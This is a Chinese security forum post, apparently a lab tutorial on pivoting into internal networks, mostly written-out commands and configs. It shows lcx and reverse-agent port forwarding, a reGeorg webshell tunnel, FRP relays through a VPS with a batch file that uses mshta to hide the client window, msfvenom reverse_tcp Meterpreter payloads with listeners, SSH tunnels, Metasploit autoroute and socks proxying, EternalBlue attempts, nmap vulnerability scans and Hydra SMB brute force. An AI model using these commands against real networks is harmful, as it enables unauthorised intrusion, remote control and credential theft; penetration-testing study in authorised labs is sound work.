安全矩阵

 找回密码
 立即注册
搜索
查看: 3374|回复: 0

内网渗透-代理篇(下)

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-5-28 21:00:15 | 显示全部楼层 |阅读模式
原文链接:内网渗透-代理篇(下)
命令三:端口转发

  1. #端口转发。将目标3389转发到本地1189,然后mstsc连接127.0.0.1:1189。注意多级转发会造成流量拥堵,流量可能出不来
  2. lcxtran 1189 192.168.1.10 3389
  3. #socket代理
  4. #配合proxychains驱动本地软件对内网进行扫描,由本地1080将流量转发到内网
  5. socks 1080
复制代码




3.3 反向连接
  1. #win7保持监听
  2. agent_Win32.exe -l 7777
  3. #xp反向连接到win7
  4. agent_Win32.exe -c 169.254.75.233 -p 7777
  5. #win8保持监听
  6. agent_Win32.exe -l 6666
  7. #win7反向连接08
  8. agent_Win32.exe -c 192.168.106.128 -p 6666
  9. #此时xp、win7都已经主动上交了权限,物理机控制08就可以直接建立隧道
  10. admin_Win32.exe -c 192.168.1.10 -p 6666
  11. #反向连接用户穿透防火墙
复制代码







4.venom工具使用Go开发的多级代理工具。Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。venom工具使用方法传送门:使用Venom多级代理工具穿透内网


5.reGeorg+Proxychains
项目地址:https://github.com/sensepost/reGeorg

5.1 上传脚本上传脚本文件到服务器,访问地址出现“Georg says, ‘All seems fine’”表示脚本正常运行。本地测试php脚本不能正常运行



5.2 进行转发

python2 reGeorgSocksProxy.py -p 12345 -u http://192.168.1.10:8001/tunnel.aspx

确认端口开启:


5.3 修改socket代理端口vi /etc/proxychains.conf
#修改代理端口为123455.4 远程连接使用设置proxychains的代理端口,进行访问,一般配合nmap和metasploit进行后续内网渗透。这里是直接3389上去的

proxychains rdesktop 192.168.1.10



6.ngrock
MSF配合Ngrock穿透内网


7.FRP#项目地址https://github.com/fatedier/frp/releases#frpc客户端,frps服务端
  1. #实验环境
  2. kali:192.168.1.3
  3. win08:192.168.1.10
复制代码


7.1 正向代理
7.1.1 服务端设置①下载安装
  1. wget https://github.com/fatedier/frp/releases/download/v0.33.0/frp_0.33.0_linux_386.tar.gz
  2. tar -zxvf frp_0.33.0_darwin_amd64.tar.gz
复制代码


②配置frps.ini文件
    1. [common]
    2. bind_port = 7000
    3. dashboard_port = 7500
    4. token = 123.com
    5. dashboard_user = admin
    6. dashboard_pwd = admin
    复制代码


    bind_port表示用于客户端和服务端连接的端口
  • dashboard_port是服务端仪表板的端口
  • token是用于客户端和服务端连接的口令
  • dashboard_user、dashboard_pwd分别表示打开仪表板页面登录的用户名和密码


③运行开启监听


  1. ./frps -c ./frps.ini
  2. #也可以使用nohup命令将其运行在后台
  3. nohup ./frps -c frps.ini &
复制代码


       7.1.2 客户端设置
①服务端监听成功之后,目标内网设备执行frp进行主动连接:编辑frpc.ini,修改配置
  1. [common]
  2. #服务端IP
  3. server_addr = 192.168.1.3  
  4. #服务端端口
  5. server_port = 7000         
  6. #token值
  7. token = 123.com

  8. [rdp]
  9. type = tcp
  10. local_ip = 127.0.0.1           
  11. local_port = 3389
  12. remote_port = 7001

  13. [smb]
  14. type = tcp
  15. local_ip = 127.0.0.1
  16. local_port = 445
  17. remote_port = 7002
复制代码


②运行连接
cd C:\frpfrpc.exe -c frpc.ini
也可以直接使用批处理文件运行:
@echo offif "%1" == "h" goto beginmshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit:beginREMcd C:\frpfrpc.exe -c frpc.iniexit
③成功建立连接

通过配置已经将内网的3389端口转发到vps的7001端口。此时远程连接vps的7001即可远程连接内网的3389主机:




7.2 反向代理#环境kali:192.168.109.128Win2008:192.168.1.10vps:x.x.x.x
①服务端配置
#frp服务端与客户端连接端口,frps和frpc必须一致bind_port = 7000②服务端启动frp

./frps -c ./frps.ini

③客户端frpc.ini文件配置
  1. [common]
  2. server_addr = x.x.x.x     #你的云主机ip
  3. server_port = 7000        # frpc工作端口,必须和上面frps保持一致

  4. [msf]
  5. type = tcp
  6. local_ip = 127.0.0.1
  7. local_port = 5000            #转发给本机的5000
  8. remote_port = 6000         #服务端用6000端口转发给本机
复制代码


④启动客户端
./frpc -c ./frpc.ini


⑤连接成功


⑥msf生成payload
  1. msfvenom -p windows/meterpreter/reverse_tcp lhost=x.x.x.x lport=6000 x-f exe x>frp.exe
  2. #注意:
  3. lhost:必需设置为vps服务端ip
  4. lport:设置你在frpc.ini的remote_port = 6000
复制代码


只有通过服务器的6000端口数据包才能成功转发kali,这也是使用frp反向代理原因


⑦msf开启监听
  1. use exploit/multi/handler
  2. set payload windows/meterpreter/reverse_tcp
  3. set lhost 127.0.0.1#设置监听ip,必须和frpc中的local_ip 一致
  4. set lport 5000 #设置监听端口,与frpc中的local_port一致
  5. run
复制代码


⑧靶机运行payload,msf上线。此时云主机显示连接信息:
​msf上线效果:

#参考文章:https://blog.csdn.net/qq_38228830/article/details/85955955

二、SSH代理穿透内网

①假设kali无法访问Win08(实际kali为nat模式是可以访问所有网段的)
②利用红帽进行端口转发使kali能够访问到Windows 2008


1.SSH正向代理①kali(192.168.198.128)连接红帽192.168.198.131,同时将内网主机192.168.1.10的8001端口转发到本地kali 192.168.198.128 的8001端口上

  1. ssh -L 192.168.198.128:8001:192.168.1.10:8001 root@192.168.198.131 -p 22
  2. #-L后面的IP是kali本地IP,可省略不写
  3. #当跳板机红帽的ssh端口为默认端口22时,也可省略不写
  4. #需要知道红帽的账号及密码
复制代码


②转发成功,这样kali在访问本机的8001端口,通过SSH服务器红帽端口转发后,实际访问的就是服务器Windows2008的8001端口。注意,在进行转发的时候语句L后面的IP省略不写,那么访问127.0.0.1:8001即可,如果写了IP,就必须访问IP地址:192.168.198.128:8001



2.ssh反向代理将kali本地端口镜像转发到红帽,所有访问SSH服务器(红帽)的镜像端口即是访问kali的端口。
①  kali开启80 http服务
/etc/init.d/apache2 start

②kali连接红帽。把kali(192.168.198.128:80)端口映射给ssh服务器(红帽192.168.198.131)8001端口
  1. ssh -R 192.168.106.131:8001:127.0.0.1:80 root@192.168.198.131 -p 22
  2. #如果SSH服务器默认ssh端口为22,则"-p 22"可省略
  3. #需要知道红帽的账号及密码
复制代码


③成功把kali的http 端口转发和红帽的8001端口


此时的红帽127.0.0.1:8080已经是kali的http服务

④这里将kali的80端口转发到红帽的8001上,但是只监听在127.0.0.1上,内网其他主机仍然无法访问。还需要继续转发,将127.0.0.1:8001转发到192.168.106.131:8001



3.ssh配置socket代理①kali连接红帽
ssh -D 8081 root@192.168.198.131 -p 22

②连接成功,此时kali已经开启8081 socket代理端口:

③修改代理端口
vi /etc/proxychains.conf
#修改代理端口为8081
④使用proxychain 来扫描socket代理的内网

  1. proxychains nmap 192.168.1.1/24
  2. #使用proxychains工具驱动nmap扫描内网。通过socks代理扫描到本身扫描不到的内网网段
复制代码


通与不通就缺了一个socks代理,我太爱proxychains了



三、MSF穿越多级网络

①生成payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.5 lport=1122 -f exe >test.exe
②建立监听,返回会话

  1. use exploit/multi/handler
  2. set payload windows/meterpreter/reverse_tcp
  3. set lhost 192.168.1.5
  4. set lport 1122
  5. run
复制代码


③发现存在75网段,对该网段进行纵向渗透。添加192.168.75.x段网段静态路由
run autoroute -s 192.168.75.0/24

④对192.168.75.x网段进行主机存活扫描,此时在MSF各个模块已经可以访问75网段
run post/windows/gather/arp_scanner RHOSTS=192.168.75.0/24

⑤挂起当前会话,对目标win7(192.168.75.131)进行攻击

  1. use exploit/windows/smb/ms17_010_eternalblue
  2. set rhost 192.168.75.131
  3. #因为直连没有返回的流量所以不能用默认的reverse payload。
  4. #直连是在目标上面开一个端口然后本地去连接
  5. set payload windows/x64/meterpreter/bind_tcp
  6. run
复制代码


漏洞利用失败。为了加强效果节目效果专门搞了个XP
  1. use exploit/windows/smb/ms17_010_eternalblue
  2. set rhost 192.168.75.132
  3. set payload windows/meterpreter/bind_tcp
  4. run
复制代码


漏洞依然利用失败,放弃。


MSF端口扫描模块
  1. #对75网段进行全端口扫描
  2. use auxiliary/scanner/portscan/tcp
  3. set rhosts 192.168.75.131
  4. set ports 1-65535
  5. setg threads 50
  6. run
复制代码


这个端口扫描模块耗时比较长且效果远不如nmap


⑥本地设置socket代理,目的是让MSF以外的工具也能与目标内网连接。前面添加了路由,使msf中的所有模块可以用meterpreter作为代理访问到192.168.75.x段。现在开启sockets4代理,然后配合proxychains盘活kali里面除MSF以外的其他工具。利用挂起的会话建立代理:

  1. use auxiliary/server/socks4a
  2. set srvhost 127.0.0.1
  3. set rport 1080 #注意避免端口冲突
  4. run
复制代码


查看端口,成功启用代理:


配置代理
  1. vi /etc/proxychains.conf
  2. socks4  127.0.0.1 1080
复制代码


Nmap扫描
  1. <code>#nmap扫描
  2. </code><code>proxychains nmap -sT -sV -Pn -n -p 1-3389 192.168.75.131</code>
复制代码



proxychains nmap -sT -sV -Pn -n -p 445 --script=smb-vuln-ms* 192.168.75.131


纵向渗透
如果拿下75网段shell且发现目标有也存在双网卡,假如存在76网段,此时可以继续添加静态路由,进一步纵向渗透。此时:
  1. #配置路由
  2. run autoroute -s 192.168.76.0/24
  3. #验证能否连接
  4. run post/windows/gather/arp_scanner RHOSTS=192.168.76.0/2

  5. #设置代理
  6. use auxiliary/server/socks4a
  7. set srvhost 127.0.0.1
  8. set srvport 1081  #注意避免端口冲突
  9. run

  10. # 配置代理,要在1080端口下面再配置一个socket代理子啊1081端口上
  11. vi /etc/proxychains.conf
  12. socks4  127.0.0.1 1080
  13. socks4  127.0.0.1 1081

  14. #nmap扫描,这里建立了两层链路。从127.0.0.1:1080>127.0.0.1:1081>192.168.76.*
  15. proxychains nmap -sT -sV -Pn -n -p 1-3389 192.168.76.1/24
复制代码


Hydra爆破
proxychains hydra -l admin -P pass.txt -f 192.168.75.131 smb

爆破成功后,将远程目标机的端口转发到本地攻击
①.端口转发
portfwd add -L 192.168.1.5 -l 33890 -r 192.168.75.131 -p 3389
②.远程连接
rdesktop 192.168.1.5:33890

也可以不使用端口转发直接连接:

  1. #linux远程登录
  2. proxychains ssh root@192.168.75.131
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 04:52 , Processed in 0.015065 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表